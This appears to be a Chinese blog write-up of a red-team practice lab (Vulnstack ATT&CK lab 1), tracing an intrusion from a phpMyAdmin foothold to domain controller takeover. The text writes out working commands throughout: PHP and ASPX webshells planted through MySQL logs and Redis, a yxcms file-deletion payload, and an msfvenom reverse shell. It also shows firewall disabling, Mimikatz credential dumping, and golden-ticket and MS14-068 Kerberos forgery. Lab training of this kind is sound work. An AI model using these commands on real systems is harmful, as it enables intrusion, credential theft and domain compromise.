ATT&CK实战系列——红队实战(一)

环境搭建

下载地址:
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

官方描述

红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。关于环境可以模拟出各种各样实战路线,目前给出作者实战的一套攻击实战路线如下,虚拟机所有统一密码:hongrisec@2019:

一、环境搭建
1.环境搭建测试
2.信息收集

二、漏洞利用
3.漏洞搜索与利用
4.后台Getshell上传技巧
5.系统信息收集
6.主机密码收集

三、内网搜集
7.内网–继续信息收集
8.内网攻击姿势–信息泄露
9.内网攻击姿势-MS08-067
10.内网攻击姿势-SMB远程桌面口令猜测
11.内网攻击姿势-Oracle数据库TNS服务漏洞
12.内网攻击姿势-RPC DCOM服务漏洞

四、横向移动
13.内网其它主机端口-文件读取
14.内网其它主机端口-redis
15.内网其它主机端口-redis Getshell
16.内网其它主机端口-MySQL数据库
17.内网其它主机端口-MySQL提权

五、构建通道
18.内网其它主机端口-代理转发

六、持久控制
19.域渗透-域成员信息收集
20.域渗透-基础服务弱口令探测及深度利用之powershell
21.域渗透-横向移动[wmi利用]
22.域渗透-C2命令执行
23.域渗透-利用DomainFronting实现对beacon的深度隐藏
24.域渗透-域控实现与利用

七、痕迹清理
25、日志清理

网络拓扑:

在这里插入图片描述

本地环境:

在这里插入图片描述

配置好网络环境,启动win7 下的 phpstudy

在这里插入图片描述

渗透测试部分

web直接就是php探针

在这里插入图片描述

NMAP

在这里插入图片描述

目录

在这里插入图片描述

网站备份文件

在这里插入图片描述

phpinfo
http://192.168.60.170/phpinfo.php
在这里插入图片描述

phpmyadmin 日志 getshell

http://192.168.60.170/phpmyadmin/
http://192.168.60.170/phpmyadmin/examples/
http://192.168.60.170/phpmyadmin/setup/
http://192.168.60.170/phpmyadmin/changelog

在这里插入图片描述

暂时没有其它发现
爆破phpmyadmin
爆破到几个空密码,但是空密码无法登录

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

没有读取文件的权限

在这里插入图片描述

在phpmyadmin中发现一个 yxcms的数据库

在这里插入图片描述

尝试写入一句话,

select '<?php eval($_POST[pwd]); ?>' into outfile 'C:/phpStudy/WWW/shell.php'

在这里插入图片描述

尝试修改 secure_file_priv 但是失败了

show variables like "secure_file_priv";
set global secure_file_priv='';

在这里插入图片描述

利用mysql general_log_file 上传一句话

show variables like 'general%'

在这里插入图片描述
开启 general_log日志

set global general_log = 'ON'

把 general_log日志路径放网站根目录

set global general_log_file='C:/phpStudy/WWW/shell.php'

在这里插入图片描述

在这里插入图片描述

因为general_log 日志会记录我们执行的sql语句,所以我们执行php一句话也会被记录,因为后缀被改为php,所以php碰到php头 <? 就会认为这是个php文件

在这里插入图片描述

再次访问,报php错误,确定已经被php解析,但是在940行有一个致命错误
在这里插入图片描述

清空general_log 日志再次尝试

set global general_log = 'OFF';
rename table mysql.general_log TO mysql.general_log2;
delete from mysql.general_log2;
show variables like 'general%'
rename table mysql.general_log2 TO mysql.general_log;
set global general_log = 'ON';
set global general_log_file='C:/phpStudy/WWW/shell2.php'
show variables like 'general%'
select '<?php eval($_POST[pwd]);?>';

在这里插入图片描述

yxcms

网站泄露后台地址和用户密码,且用户密码为弱口令
百度查询到相关目录结构找到后端登录页面
http://192.168.60.170/yxcms/index.php?r=admin/index/login
在这里插入图片描述

网上搜索了yxcms相关漏洞,在此复现

前端 XSS

在这里插入图片描述
后端验证,通过验证后前端也会显示

在这里插入图片描述

在这里插入图片描述

任意文件写入 getshell

新建模板

在这里插入图片描述

通过前面泄露的备份文件得到上传点

在这里插入图片描述

http://192.168.60.170/yxcms/protected/apps/default/view/default/shell.php.php

在这里插入图片描述

任意文件删除

需要先登录后台,然后访问之后会显示缩略图不存在

Payload:http://sb.com/index.php?r=admin/photo/delpic
POST:picname=…/…/protected/apps/install/install.lock
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

后渗透阶段

上线CS

start artifact.exe

在这里插入图片描述
这个密码就是默认密码

在这里插入图片描述
提权至system用户

在这里插入图片描述

域控信息收集

查看内网网段

域控一般为 DNS 主机
在这里插入图片描述

whoami,hostname

在这里插入图片描述

查询系统架构,安装软件

echo %PROCESSOR_ARCHITECTURE%
wmic product get name,version

在这里插入图片描述

查询域列表与所有用户

net view /domain
net user /domain

在这里插入图片描述

从域控查询时间,若当前用户是域用户会从域控返回当前时间,亦用来判断主域,主域一般用做时间服务器
然后利用 net group "domain controllers" /domain 验证域控主机

net time /domain
net group "domain controllers" /domain

主域为 owa.god.org
在这里插入图片描述
域密码策略

net accounts /domain

在这里插入图片描述

确认域控 IP

在这里插入图片描述

域外信息收集与渗透

路由信息

在这里插入图片描述

arp 表

在这里插入图片描述

3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

在这里插入图片描述

关闭防火墙在连接

netsh firewall set opmode disable

添加用户

在这里插入图片描述在这里插入图片描述

msf生成木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.60.129 LPORT=7777 -f exe > shell.exe

本地监听
在这里插入图片描述

上传

在这里插入图片描述

在这里插入图片描述

域渗透

SMB Beacon C2命令执行

创建一个监听器

在这里插入图片描述

使用 psexec 登录

在这里插入图片描述

获得域控 OWA beacon

在这里插入图片描述

CS/MSF联动

msf监听

在这里插入图片描述

CS新建一个监听器

在这里插入图片描述

增加会话派生
msf上线

在这里插入图片描述

识别一下前面arp的141主机
在这里插入图片描述

shell 乱码

chcp 65001

添加路由

run autoroute -s 192.168.52.0/24
run autoroute -p
run get_local_subnets

在这里插入图片描述

顺便跑arp
在这里插入图片描述

扫描141端口
因为环境描述中有Oracle与redis,所以加上端口

在这里插入图片描述
141
描述中有08067,但是打不了,17010能打,但是会把服务器打蓝屏

在这里插入图片描述

138

在这里插入图片描述

138域控主机本来也打不了,最后关闭防火墙后成功

关闭防火墙

netsh advfirewall set allprofiles state off

在这里插入图片描述

在这里插入图片描述

redis getshell

redis 其实是有问题的
官方描述中有提到 redis ,但是默认是访问不了的,实在没找到其它思路,只得修改redis零时配置文件

127.0.0.1:6379> config set protected-mode no

在这里插入图片描述

msf相关redis模块

auxiliary/scanner/redis/file_upload 
auxiliary/scanner/redis/redis_login
auxiliary/scanner/redis/redis_server

在这里插入图片描述
138域控靶机上开放了80,通过前面的路由,已经可以直接访问了

在这里插入图片描述

通过 redis 往物理路径写 webshell
此时redis只需要目录写权限
但是在不知道物理路径的情况下,比较困难

192.168.52.138:6379> config set dir C:\inetpub\wwwroot\
OK
192.168.52.138:6379> config set dbfilename shell.aspx
OK
192.168.52.138:6379> set x "<% @Page Language='Jscript'%><%eval(Request.Item['pwd'],'unsafe');%>"
OK
192.168.52.138:6379> save
OK
192.168.52.138:6379>

在这里插入图片描述

黄金票据

制作黄金票据的前提条件

  1. 域名称
  2. 域的 SID
  3. 域的 krbtgt账户的密码 hash 值 (NTLM or aes256_hmac)
  4. 伪造的用户名,可以是任意用户甚至是不存在

krbtgt用户是域控中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户

域名已经在前面收集到:god.org

SID: whoami /user

在这里插入图片描述

域ID 和 krbtgt 账户hash

mimikatz # privilege::debug #(提升权限)
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords #(抓取明文密码和 hash)
mimikatz # lsadump::dcsync /domain:god.org /user:krbtgt #导出 krbtgt 密码 hash
mimikatz # lsadump::dcsync /domain:god.org /all /csv #导出所有域内用户密码 hash 值:

域的 SID:S-1-5-21-2952760202-1353902439-2381784089-500
aes256_hmac:a780c2c18b3287e3448562a36dccb2d57d11fd398b55ce2cd9b128308cef74df
NTLM:58e91a5ac358d86513ab224312314061

在这里插入图片描述

"kerberos::golden /domain:<域名> /sid:<域SID> /aes256:<aes256_hmac> /user:<任意用户名> /ptt"
kerberos::golden /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089-500 /aes256:a780c2c18b3287e3448562a36dccb2d57d11fd398b55ce2cd9b128308cef74df /user:abc /ptt

在这里插入图片描述

伪造票据

在这里插入图片描述

CS也能伪造票据

在这里插入图片描述

伪造的票据信息

在这里插入图片描述

MS14-068

MS14-068 是一个能够使普通用户提权获取域控权限的权限提升漏洞,微软给出的补丁
是 kb3011780。在 server 2000 以上的域控中,只要没打这个补丁,都有可能被利用。

访问域共享被拒绝

在这里插入图片描述

使用 MS14-068 生成票据

MS14-068.exe -u   域用户@域控名  -p 域用户密码 -s 域用户sid -d 域ip
MS14-068.exe -u Administrator@god.org -s S-1-5-21-2952760202-1353902439-2381784089-500 -p hongrisec@2021 -d 192.168.52.138

在这里插入图片描述

导入前删除当前缓存kerberos票据

mimikatz # kerberos::purge
or
klist purge

使用mimikatz导入kerberos票据

mimikatz # kerberos::ptc TGT_Administrator@god.org.ccache
C:\phpStudy\WWW>dir \\owa.god.org\C$

在这里插入图片描述

  • 4
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_abcdef

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值